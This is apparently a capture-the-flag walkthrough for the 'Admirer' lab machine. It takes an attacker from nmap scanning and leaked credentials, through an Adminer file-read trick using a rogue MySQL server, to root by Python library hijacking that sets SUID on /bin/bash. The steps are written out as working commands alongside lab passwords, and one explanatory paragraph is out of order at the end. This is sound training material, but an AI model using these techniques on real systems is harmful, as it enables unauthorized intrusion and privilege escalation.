As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Thu Sep 1 18:23:31 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.187
Warning: 10.10.10.187 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.187
Host is up (0.25s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
# Nmap done at Thu Sep 1 18:24:03 2022 -- 1 IP address (1 host up) scanned in 32.04 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p21,22,80 10.10.10.134 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Thu Sep 1 18:25:04 2022 as: nmap -sCV -p21,22,80 -oN targeted 10.10.10.187
Nmap scan report for admirer.htb (10.10.10.187)
Host is up (0.079s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Admirer
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 1 18:25:17 2022 -- 1 IP address (1 host up) scanned in 13.19 seconds
The website just show some images.
If we take a look at the robots.txt file, we'll see that there is one disallowed directory called /admin-dir. Now we also know that the user waldo might be valid.
If we try to access it, we'll get a 403 Forbidden response.
Let's try to find hidden directories with gobuster.
And we see the contacts.txt file with information about some users.
And the credentials.txt file with some usernames and passwords.
Exploitation
As we can see, we have credentials for the FTP server, let's try those.
ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:alfa8sa): ftpuser
331 Please specify the password.
Password: %n?4Wz}R$tTF7
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
Now, let's list whats in the server.
ftp> ls
229 Entering Extended Passive Mode (|||26142|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
226 Directory send OK.
Let's transfer the html.tar.gz file to our machine.
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
229 Entering Extended Passive Mode (|||18079|)
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
100% |**********************************************************************************************| 5147 KiB 346.49 KiB/s 00:00 ETA
226 Transfer complete.
5270987 bytes received in 00:14 (345.09 KiB/s)
And extract it's content.
gzip -d html.tar.gz
tar -xf html.tar
Now we can see what looks like a backup of the website.
ls -l
total 7180
drwxr-x--- 6 root www-data 4096 Jun 6 2019 assets
-rw-r--r-- 1 root root 7321600 Dec 3 2019 html.tar
drwxr-x--- 4 root www-data 4096 Dec 2 2019 images
-rw-r----- 1 root www-data 4613 Dec 3 2019 index.php
-rw-r----- 1 root www-data 134 Dec 1 2019 robots.txt
drwxr-x--- 2 root www-data 4096 Dec 2 2019 utility-scripts
drwxr-x--- 2 root www-data 4096 Dec 2 2019 w4ld0s_s3cr3t_d1r
If we inspect the files and directories, we'll find two more password on the index.php file and the utility-scripts/db_admin.php file.
But none of the passwords we have found is valid for the user waldo either for SSH or FTP logins. At this point I tried to access the utility-scripts/adminer.php directory with the browser, and I found an Adminer login page.
nano /etc/mysql/mariadb.conf.d/50-server.cnf
bind-address = 0.0.0.0
Now, let's start the MySQL process.
service mysql start
Then, access MySQL as the root user.
mysql -u root
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 78
Server version: 10.5.12-MariaDB-1 Debian 11
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
Create a new database called testdb.
create database testdb;
Create a new user called 'test'@'admirer.htb' with the test password.
create user 'test'@'admirer.htb' identified by 'test';
And grant all privileges on the testdb database to the 'test'@'admirer.htb' user.
grant all on testdb.* to 'test'@'admirer.htb';
flush privileges;
Now, let's use the testdb databases, and create a new table called xml with the data column.
use testdb;
create table xml(data varchar(1024));
Now, let's access the testdb databases with the 'test'@'admirer.htb' user from the Adminer login page.
Once logged in, go to the SQL command section. Now we could read files from the victim machine. Let's try to read the content of the index.php file of the website. To do that, execute the following query.
load data local infile '/var/www/html/index.php'
into table testdb.xml
fields terminated by '\n'
If now we check the xml table, we'll see the content of the index.php file, and we'll be able to see some other credentials.
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ whoami
waldo
waldo@admirer:~$ cat user.txt
28f6361291dae6f4c04b4ea441269498
Privilege Escalation
If we list the sudo privileges we'll see that we can execute a bash script, and set environment variables as the root user.
sudo -l
[sudo] password for waldo: &<h5b~yK3F#{PaPB&dA}{H>
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Let's see what the admin_tasks.sh script is doing.
cat /opt/scripts/admin_tasks.sh
#!/bin/bash
view_uptime()
{
/usr/bin/uptime -p
}
view_users()
{
/usr/bin/w
}
view_crontab()
{
/usr/bin/crontab -l
}
backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;
*) echo "Unknown option." >&2
esac
exit 0
fi
# Interactive way, to be called from the command line
options=("View system uptime"
"View logged in users"
"View crontab"
"Backup passwd file"
"Backup shadow file"
"Backup web data"
"Backup DB"
"Quit")
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;
*) echo "Unknown option." >&2
esac
done
exit 0
The script has multiple functionalities, but one of them executes a python script called /opt/scripts/backup.py. Let's take a look at it.
cat /opt/scripts/backup.py
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
As we can see, the script is using the shutil library, but with the relative path. This allow us to do a library hijacking, so when we execute the script as the root user, a shutil script created by us will be executed and we'll be able to execute commands as root. First, let's create the shutil.py script in the /tmp directory, which will give the /bin/bash binary the SUID permission.
nano /tmp/shutil.py
import os
def make_archive(a,b,c):
os.system("chmod u+s /bin/bash")
If now we execute the bash script, using the sixth option, so we trigger the python script, it will execute our shutil.py script. But, we have to add the /tmp directory to the PYTHONPATH environment variable.
sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
Now, the /bin/bash binary has the SUID permission set.
ls -l /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15 2017 /bin/bash
Finally, all we have to do is execute bash with SUID permissions, and reap the harvest and take the root flag.
I started to search for any common vulnerabilities on Adminer, and I found this , which allow me to read local files of the victim machine. The idea is to login with the Adminer page to our MySQL server, and then we'll be able to load local files from the victim machine. First, let's modify the MySQL configuration file, so remote access is enable.